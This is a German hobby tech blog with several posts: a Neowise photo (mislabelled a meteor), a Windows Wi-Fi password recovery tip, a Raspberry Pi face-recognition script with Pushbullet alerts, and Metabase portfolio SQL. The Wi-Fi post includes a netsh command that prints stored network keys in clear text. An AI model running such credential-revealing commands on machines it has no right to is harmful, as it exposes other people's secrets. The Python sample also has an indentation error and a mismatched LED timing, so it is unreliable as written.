Gestern habe ich mehr oder weniger ein Schnappschuss vom Meteor Neowise gemacht. Dieser ist nur alle paar tausend Jahre zu sehen, daher wollte ich die Chance war nehmen und auch mich in die Liste derer eintragen, die von dem Meteor ein Foto gemacht haben. Mit der App Star Walk 2 konnte ich Neowise virtuell direkt aufspüren und wusste wo er ungefähr sein müsste. Auch wenn ich aus dem Büro fotografiert hatte, so kann ich mit dem Foto sehr gut leben :). Eigentlich wollte ich um 23:30 schon aufgeben, da ich den Meteor nicht am Himmel sah, konnte dann aber doch einen hauch dünnen Schweif am Himmel sehen. Ich hielt die Linse also drauf und tatsächlich, mit einer längeren Verschlusszeit ließ sich der Meteor ganz gut erkennen. Also Kamera wieder aufs Stativ. Am Fenster musste ich das Stativ provisorisch befestigen, um eine ruhige Position zu erhalten. Ich bin froh, dass diese Konstellation gehalten hat 🙂

Auf der Canon war mein Sigma 24mm Weitwinkelobjektiv. Auf Blende 1.4 hatte ich für knappe 30 Sekunden belichtet und dieses Bild ist dabei rum gekommen. 

Ich bin sehr froh, dass ich das Bild geschossen habe. Es ist sehr interessant, Neowise auf ein eigenes Bild festgehalten zu haben. Bis zum Ende des Monats soll man ihn noch sehen können, ehe er im August in den Tiefen der Galaxie verschwindet. Wer weiß vielleicht wage ich noch ein weiteres Foto an einem besseren Spot. 

Windows 10 Wlan Passwort auslesen

Habt ihr euch mal gefragt, wie ihr von einem zuvor verbundenen WLAN, das Passwort auslesen könnt, weil ihr es z.B. vergessen habt? Dafür gibt es 2 Wege. Natürlich muss eurem Gerät das Netzwerk vorher bekannt gewesen sein. Die erste führt über die Systemsteuerung. Lasst euch den Status eures drahtlosen Adapters anzeigen und geht dort auf Drahtloseigenschaften.

Es öffnet sich ein weiteres Fenster mit den Eigenschaften des drahtlosen Netzwerkes. Dort müsst ihr nur noch auf den Tab Sicherheit klicken und von dem Sicherheitsschlüssel die Zeichen anzeigen lassen.

Ein zweiter Weg geht über die Kommandozeile. Öffnet die CMD als Administrator und gebt dort folgenden Befehl ein.

netsh wlan show profiles <WLAN-NAME> key=clear

Eure Ausgabe könnte dann wie folgt aussehen, wobei unter dem Schlüsselinhalt das verwendete Wlan Passwort sein sollte.

Gesichtserkennung Raspberry GPIO Schaltung

Mich haben zuletzt vermehrt Anfragen erreicht, die GPIOs mit der Gesichtserkennung zu kombinieren. Zum Beispiel als Schaltung für die Garage oder das eine LED für eine bestimmte Zeit aktiviert ist. Zudem wäre eine Benachrichtung aufs Smartphone interessant. Diesen Anfragen möchte ich mit diesem Beitrag gerecht werden. Die Anforderung an mich selber waren, dass für jedes Gesicht, welches die Software im Frame erkennt, das Script eine Nachricht an das Smartphone schicken soll. Für jedes bekannte Gesicht soll zusätzlich die LED für 5 Sekunden laufen. Für die Smartphone Benachrichtigung habe ich Pushbullet verwendet. Pushbullet stellt eine App bereit und es stehen mehrere Python Module zur Verfügung. Ich habe die eigene von Pushbullet verwendet.

sudo pip3 install pushbullet.py

Für die Registrierung benötigt man einen Google oder Facebook Account.

Auf der Seite könnt ihr den API Key unter Access Tokens einsehen. Diesen Schlüssel übertragt ihr bei jeder Push Nachricht mit. Ich empfehle euch, die End-zu-End Verschlüsselung zu aktivieren. Ihr müsst ein einmaliges Passwort eintragen. Jedes Gerät das ihr bei Pushbullet registriert habt, benötigt diesen Schlüssel, um die Nachrichten zu entschlüsseln.

 

Für die Schaltung habe ich ein Steckbrett mit LED und Widerstand benutzt. Auf dem Pi ist der GPIO Pin 17 angeschlossen. Es ist euch selber überlassen, welchen Pin ihr nehmt, ihr müsst diesen nur vernünftig schalten können.

Damit hätten wir alles Organisatorische geregelt. Kommen wir nun also zum Code, der an die anderen Gesichtserkennungs-Beiträgen angelehnt ist. Ich habe hier zusätzlich Threads mit eingebaut, damit die Abarbeitung der Notifications oder die Schaltung der LED neben dem Main-Thread laufen können. Die Threads rufen jeweils Funktionen auf, daher besteht für die Notification, als auch für die LED Schaltung eine eigenständige Funktion, denen ich Argumente übergebe. Damit ein Thread nicht doppelt aufgerufen werden kann, habe ich mit if tgpio not in threading.enumerate(): eine Verriegelung eingebaut. threading.enumerate() enthält jede zurzeit aktive Thread-ID.

Funktion NotifyPushbullet:

Ein Foto wird zwar außerhalb der Funktion gemacht, aber immer dann, wenn das Script ein Gesicht im Frame entdeckt hat. Das Foto ist lokal gespeichert, bevor die Funktion NotifyPushbullet es verschickt. Ich lege diese Funktion danach noch 30 Sekunden “schlafen”, um eine weitere unnötige Notifications zu vermeiden.

Funktion FaceGPIO:

Die LED wird geschaltet, wenn ein bekanntes Gesicht im Frame ist. Sobald eines erkannt wurde, leuchtet die LED für 12 Sekunden, ehe sie sich selber wieder ausschaltet. Falls es bei den GPIOs zu Fehlern kommt, z.B. eine Doppelbelegung des Pins, löst eine Exception aus und gibt den Fehler im Terminal zurück.

Weiter unten findet ihr den Code. Ich habe einige Einträge kommentiert, die helfen sollen den Code einfacher zu verstehen.

# This program will print out the names of anyone it recognizes to the console.

# To run this, you need a Raspberry Pi 2 (or greater) with face_recognition and
# the picamera[array] module installed.
# You can follow this installation instructions to get your RPi set up:
# https://gist.github.com/ageitgey/1ac8dbe8572f3f533df6269dab35df65

try:
    import face_recognition
    import picamera
    import numpy as np
    import os
    import datetime
    from pushbullet import Pushbullet
    import gpiozero
    from time import sleep
    import threading

except:
    print("failed to load module")
    exit()


# Initialize some variables
tpush = None
tgpio = None
face_locations = []
face_encodings = []
image = []
known_face_encoding = []
known_faces = []

# Set some variables
pb = Pushbullet('apikey')
framerate = 15

def NotifyPushbullet(pb,file):
    #push notification
    push = pb.push_note("Face detected","Someone was detected")
    # push image
    with open(file, "rb") as pic:
    file_data = pb.upload_file(pic, "picture.jpg")
    push = pb.push_file(**file_data)
    # set NotifyPushbullet to sleep
    print("Push Notification sent")
    sleep(30)


# Function for GPIO
def FaceGPIO(timetosleep):
    try:
        #initialize LED
        led = gpiozero.LED(17)
        # switch LED on
        led.on()
        #set to sleep
        sleep(timetosleep)
        # switch LED off
        led.off()
    # if any error occurs call exception
    except gpiozero.GPIOZeroError as err:
        print("Error occured: {0}".format(err))

# Get a reference to the Raspberry Pi camera.
# If this fails, make sure you have a camera connected to the RPi and that you
# enabled your camera in raspi-config and rebooted first.
try:
    camera = picamera.PiCamera()
    camera.resolution = (320, 240)
    camera.framerate = framerate
    output = np.empty((240, 320, 3), dtype=np.uint8)
except:
    print("something went wrong while initialize camera")
    exit()

# Load pictures and learn how to recognize it.
print("Loading known face image(s)")

#is loading all images in faces/ and create a stamp
try:
    for faces,i in zip(os.listdir("faces"),range(len(os.listdir("faces")))):
        known_faces.append("faces/"+faces)
        image.append(face_recognition.load_image_file("faces/" + faces))
        known_face_encoding.append(face_recognition.face_encodings(image[i])[0])
except:
    print("could not find known pictures")
    exit()


while True:
    print("Capturing image.")
    # Grab a single frame of video from the RPi camera as a numpy array
    camera.capture(output, format="rgb")

    # Find all the faces and face encodings in the current frame of video
    face_locations = face_recognition.face_locations(output)
    print("Found {} faces in image.".format(len(face_locations)))
    face_encodings = face_recognition.face_encodings(output, face_locations)

    #print all active threads
    print(threading.enumerate())

    # Loop over each face found in the frame to see if it's someone we know.
    for face_encoding in face_encodings:

        # make a picture
        camera.capture('/home/pi/image.jpg', use_video_port=True)
        # create a thread to push Notifications
        # check if such a thread already exists
        if tpush not in threading.enumerate():
            #define thread
            tpush = threading.Thread(target=NotifyPushbullet,args=(pb,'/home/pi/image.jpg',))
            #start thread
            tpush.start()
        else:
            # if a thread was started already and still is running
            print("Thread tpush already started: {0}".format(str(tpush)))

        for face, i in zip(os.listdir("faces"), range(len(known_faces))):

            if face_recognition.compare_faces([known_face_encoding[i]], face_encoding,0.6)[0]:
                #print found face all upper case
                print("<found: ".upper() + known_faces[i].upper() + ">")

                #create a thread to switch the LED on
                # check if such a thread already exists
                if tgpio not in threading.enumerate():
                    #define thread; call function FaceGPIO with argument
                    tgpio = threading.Thread(target=FaceGPIO,args=(5,))
                    #start thread
                    tgpio.start()
                else:
                    # if a thread was started already and still is running
                    print("Thread tgpio already started: {0}".format(str(tgpio)))

Projekt: Asset Management Teil3 Metabase

Kommen wir nun zum dritten Teil dieses Projektes. In den vorherigen Teilen habe ich über das Projekt selber gesprochen, die Datenbankstruktur und generelle Scripte erläutert bzw. erwähnt. Im zweiten Teil kam Django dazu. In diesem Teil werde ich das Metabase Frontend etwas genauer zeigen. Eins vorweg, ich werde hier nicht alle Funktionen von Metabase beschreiben, sondern nur diejenigen, die ich zurzeit verwende oder eventuell später verwenden möchte. Metabase selber betreibe ich zurzeit mit 2 Dashboards. Eins für die Dividenden und eins für meine gehaltenen Aktien und meine Einkünfte. Sind wir auf der Startseite, so kann eins von beiden ausgewählt werden.

 

In meinen Dividenden Dashboard lasse ich mir durch native Fragen, die Dividende pro Jahr, pro Firma und pro Firma im Jahr anzeigen. Native Fragen sind SQL Abfragen, die ich soweit selber geschrieben habe. Solch Fragen können aber auch mithilfe der Metabase Tools gänzlich ohne SQL erzeugt werden.

Hier ist z.B. die SQL Abfrage für die Dividende pro Firma im Jahr:

select min(COMPANY.NAME), sum(DIVIDENT.PROFIT),year(DIVIDENT.RECEIVED_AT)  as YEAR, min(Currency.CURRENCY) from STOCK_DIVIDENT DIVIDENT
inner join STOCK_COMPANY COMPANY on DIVIDENT.COMPANY = COMPANY.ID
inner join Currency on DIVIDENT.CURRENCY = Currency.ID Group by DIVIDENT.COMPANY, YEAR(DIVIDENT.RECEIVED_AT);

 

Unter meinem Stock Dashboard gibt es etwas mehr zu sehen. Dort liste ich alle mein kompletten Aktien auf. Käufe und Verkäufe und den Gesamtwert, den ich mit Aktien bisher realisiert habe. Auch hier sind alle Anzeigen per SQL von mir selbst geschrieben. Hier als Beispiel die Query von dem Torten Diagramm:

select sum(T.QUANTITY) as QUANTITY,C.NAME from STOCK_AVAILABLE_STOCK T INNER JOIN STOCK_COMPANY C on T.COMPANY = C.ID group by T.COMPANY

 

Zudem können sogenannte Pulse erstellt werden. Mit einem Pulse könn ihr Daten per Mail oder Slack nach einem bestimmten Zeitplan versendeen. Bisher habe ich diese Funktion noch nicht verwendet, aber ich gehe davon aus, dass ich die Benachrichtigung ab einem bestimmten Zeitpunkt einrichten werde.

 

Falls ihr euch noch die vorherigen Teile vom Projekt anschauen wollt, so findet ihr den ersten Teil hier und den zweiten Teil hier.

 

Fazit

Das war es von vorerst von diesem Projekt. Ich habe viel wissenswertes mitgenommen und konnte mich etwas in Django einarbeiten. Für mich war und ist es ein interessantes Projekt und ich entwickel es definitiv noch weiter. Für mich bringt es mittlerweile schon einen erheblichen Mehrwert. Durch das Admin Interface ist die Pflege der Daten einfach und komfortable und durch die Skalierbarkeit von Metabase kann ich mir mehrere Dashboard erzeugen, die mir jeweils andere Einsichten geben.